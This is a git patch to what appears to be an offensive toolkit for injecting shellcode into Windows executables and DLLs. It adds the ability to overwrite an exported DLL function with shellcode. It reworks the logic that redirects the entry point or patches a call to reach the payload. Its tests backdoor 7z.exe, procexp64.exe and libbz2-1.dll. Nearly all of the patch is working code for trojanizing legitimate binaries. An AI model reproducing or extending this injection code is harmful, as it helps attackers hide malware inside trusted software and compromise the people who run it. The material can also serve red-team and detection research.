From b4671c8690e5f8226e5df17f1ddafe76e4272fc3 Mon Sep 17 00:00:00 2001 From: Dobin Date: Sun, 14 Apr 2024 11:47:47 +0100 Subject: [PATCH] fix: make DLL + func + EOP work --- app/templates/exe.html | 37 ++++++++++++++++-- app/views.py | 10 ++++- pe/derbackdoorer.py | 3 -- pe/superpe.py | 46 ++++++++++++++++++++++ phases/injector.py | 86 +++++++++++++++++++++--------------------- tester.py | 18 ++++----- 6 files changed, 141 insertions(+), 59 deletions(-) diff --git a/app/templates/exe.html b/app/templates/exe.html index 4711589..97a742c 100644 --- a/app/templates/exe.html +++ b/app/templates/exe.html @@ -1,12 +1,43 @@ + + + +{% include 'header.html' %} + + +{% include 'navigation.html' %} -

IAT

+
+ + +

Exports

+ + + + + + + + {% for export in exports %} + + + + + + {% endfor %} +
NameAddressSize (Approx)
{{export["name"]}}{{export["addr"] | hexint}}{{export["size"]}}
+ +

IAT

{% for dll in iat %} -

DLL: {{dll}}

+

DLL: {{dll}}

{% endfor %} + +
+ + \ No newline at end of file diff --git a/app/views.py b/app/views.py index f6150e4..3c37d86 100644 --- a/app/views.py +++ b/app/views.py @@ -20,7 +20,11 @@ def index(): def exe_view(exe_name): path = "{}/{}".format(PATH_EXES, exe_name) superpe = SuperPe(path) - return render_template('exe.html', superpe=superpe, iat=superpe.get_iat_entries()) + return render_template('exe.html', + superpe=superpe, + iat=superpe.get_iat_entries(), + exports=superpe.get_exports_full(), + ) @views.route("/exes") @@ -30,3 +34,7 @@ def exes_view(): exes.append(file) return render_template('exes.html', exes=exes) + +@views.app_template_filter('hexint') +def hex_filter(s): + return hex(s) \ No newline at end of file diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index 4205961..b7be4be 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -57,9 +57,6 @@ class PeBackdoor: if exp.name.decode() == name: #print(hex(exp.address), exp.name.decode()) addr = exp.address - - logger.info(f'Using DLL Export "{name}" at RVA 0x{addr:X} . Attempting to hijack it...') - return addr diff --git a/pe/superpe.py b/pe/superpe.py index 31c79a5..05a1c8f 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -223,6 +223,33 @@ class SuperPe(): res.append(e.name.decode()) return res + + def get_exports_full(self): + """Return a list of exported functions (names) from the PE file""" + d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] + self.pe.parse_data_directories(directories=d) + if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0: + return [] + res = [] + for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols: + a = { + "name": e.name.decode(), + "addr": e.address + } + res.append(a) + # sort the exports by address + res.sort(key=lambda x: x["addr"]) + + # calculate the size of each export + for idx, entry in enumerate(res): + next_entry = res[idx + 1] if idx + 1 < len(res) else None + if next_entry is None: + entry["size"] = 0 + else: + entry["size"] = next_entry["addr"] - entry["addr"] + + return res + ## Helpers @@ -235,12 +262,31 @@ class SuperPe(): # Calculate the difference between the VA and the section's virtual address virtual_offset = virtual_address - section.VirtualAddress # Add the difference to the section's pointer to raw data + + #print("0x{:X} 0x{:X} -> 0x{:X}".format(virtual_offset, section.PointerToRawData, virtual_offset + section.PointerToRawData )) return virtual_offset #physical_address = section.PointerToRawData + virtual_offset #return physical_address return None + def get_physical_address2(self, virtual_address) -> int: + """Convert a virtual address to a physical address in the PE file""" + # Iterate through the section headers to find which section contains the VA + for section in self.pe.sections: + # Check if the VA is within the range of this section + if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize: + # Calculate the difference between the VA and the section's virtual address + virtual_offset = virtual_address - section.VirtualAddress + # Add the difference to the section's pointer to raw data + + logger.info("0x{:X} 0x{:X} -> 0x{:X}".format(virtual_offset, section.PointerToRawData, virtual_offset + section.PointerToRawData )) + return virtual_offset + section.PointerToRawData + #physical_address = section.PointerToRawData + virtual_offset + #return physical_address + return None + + def write_pe_to_file(self, outfile: str): self.pe.write(outfile) diff --git a/phases/injector.py b/phases/injector.py index bfcc02f..36d204b 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -44,69 +44,69 @@ def inject_exe( superpe = SuperPe(exe_in) pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style) - # Find a nice location for the shellcode shellcode_offset: int = 0 - if superpe.is_dll(): # DLL - shellcode_offset = 0 - else: # EXE - pass - if True: + if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: + # Special case. put it at the beginning of the exported DLL function + logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc)) + rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc) + shellcode_offset = superpe.get_physical_address2(rva) + logger.info(f'---[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite') + superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) + + else: # Put it somewhere in the code section, and rewire the flow sect = superpe.get_code_section() if sect == None: raise Exception('Could not find code section in input PE file!') sect_name = sect.Name.decode().rstrip('\x00') sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData - if sect_size < l: raise Exception("Shellcode too large: {} > {}".format( l, sect_size )) shellcode_offset = int((sect_size - l) / 2) - shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) - logger.info("--( Inject: Shellcode rva:0x{:X} offset:0x{:X}".format( - shellcode_rva, shellcode_offset)) + shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) + logger.info("--( Inject: Shellcode rva:0x{:X} offset:0x{:X}".format( + shellcode_rva, shellcode_offset)) - # Copy the shellcode - superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) + # Copy the shellcode + superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) - # HACK - pe_backdoorer.shellcodeOffset = shellcode_offset - pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData - pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase + # HACK + pe_backdoorer.shellcodeOffset = shellcode_offset + pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData + pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase - # rewire flow - if superpe.is_dll() and settings.dllfunc != "": - logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc)) + # rewire flow + if superpe.is_dll() and settings.dllfunc != "": + logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc)) - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - #raise Exception("--( Inject DLL: Change Entry Point unsupported when set ".format( - # settings.dllfunc)) - pass + if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: + # Handled above, without arriving here + raise Exception("We should not land here") - elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc) + elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: + addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc) + logger.info("--( Inject DLL: Patch {} (0x{:X})".format( + settings.dllfunc, addr)) + pe_backdoorer.backdoor_function(addr, shellcode_rva) - logger.info("--( Inject DLL: Patch {} (0x{:X})".format( - settings.dllfunc, addr)) - pe_backdoorer.backdoor_function(addr, shellcode_rva) + else: # EXE + logger.info("---( Rewire: EXE") - else: # EXE - logger.info("---( Rewire: EXE") + if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: + logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format( + shellcode_rva)) + superpe.set_entrypoint(shellcode_rva) - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format( - shellcode_rva)) - superpe.set_entrypoint(shellcode_rva) + elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: + addr = superpe.get_entrypoint() + logger.info("--( Inject EXE: Patch main() (0x{:X})".format( + addr)) + pe_backdoorer.backdoor_function(addr, shellcode_rva) - elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = superpe.get_entrypoint() - logger.info("--( Inject EXE: Patch main() (0x{:X})".format( - addr)) - pe_backdoorer.backdoor_function(addr, shellcode_rva) - - if source_style == FunctionInvokeStyle.iat_reuse: - injected_fix_iat(superpe, project.carrier, project.exe_host) - injected_fix_data(superpe, project.carrier, project.exe_host) + if source_style == FunctionInvokeStyle.iat_reuse: + injected_fix_iat(superpe, project.carrier, project.exe_host) + injected_fix_data(superpe, project.carrier, project.exe_host) # We done superpe.write_pe_to_file(exe_out) diff --git a/tester.py b/tester.py index adb2984..367d9e0 100644 --- a/tester.py +++ b/tester.py @@ -28,7 +28,7 @@ def test_exe(): prepare_project("unittest", settings) # 7z, peb-walk, change-entrypoint - print("Test: 7z, peb-walk, change-entrypoint") + print("Test EXE 1/4: 7z, peb-walk, change-entrypoint") settings.source_style = FunctionInvokeStyle.peb_walk settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint settings.inject_exe_in = PATH_EXES + "7z.exe" @@ -37,7 +37,7 @@ def test_exe(): print("Error") # 7z, peb-walk, hijack - print("Test: 7z, peb-walk, hijack main") + print("Test EXE 2/4: 7z, peb-walk, hijack main") settings.source_style = FunctionInvokeStyle.peb_walk settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.inject_exe_in = PATH_EXES + "7z.exe" @@ -46,7 +46,7 @@ def test_exe(): print("Error") # procexp, iat-reuse, change-entrypoint - print("Test: procexp, iat-reuse, change-entrypoint") + print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint") settings.source_style = FunctionInvokeStyle.iat_reuse settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint settings.inject_exe_in = PATH_EXES + "procexp64.exe" @@ -55,7 +55,7 @@ def test_exe(): print("Error") # procexp, iat-reuse, backdoor - print("Test: procexp, iat-reuse, backdoor") + print("Test EXE 4/4: procexp, iat-reuse, backdoor") settings.source_style = FunctionInvokeStyle.iat_reuse settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.inject_exe_in = PATH_EXES + "procexp64.exe" @@ -73,7 +73,7 @@ def test_dll(): settings.prep_web("unittest") prepare_project("unittest", settings) - print("Test: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)") + print("Test DLL 1/6: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)") settings.source_style = FunctionInvokeStyle.peb_walk settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" @@ -81,7 +81,7 @@ def test_dll(): if start(settings) != 0: print("Error") - print("Test: libbz2-1.dll, peb-walk, hijack dllMain (func=None)") + print("Test DLL 2/6: libbz2-1.dll, peb-walk, hijack dllMain (func=None)") settings.source_style = FunctionInvokeStyle.peb_walk settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" @@ -89,8 +89,8 @@ def test_dll(): if start(settings) != 0: print("Error") - print("Test: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzdopen") - settings.dllfunc = "BZ2_bzdopen" + print("Test DLL 3/6: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress") + settings.dllfunc = "BZ2_bzDecompress" settings.source_style = FunctionInvokeStyle.peb_walk settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" @@ -98,7 +98,7 @@ def test_dll(): if start(settings) != 0: print("Error") - print("Test: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen") + print("Test DLL 4/6: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen") settings.dllfunc = "BZ2_bzdopen" settings.source_style = FunctionInvokeStyle.peb_walk settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr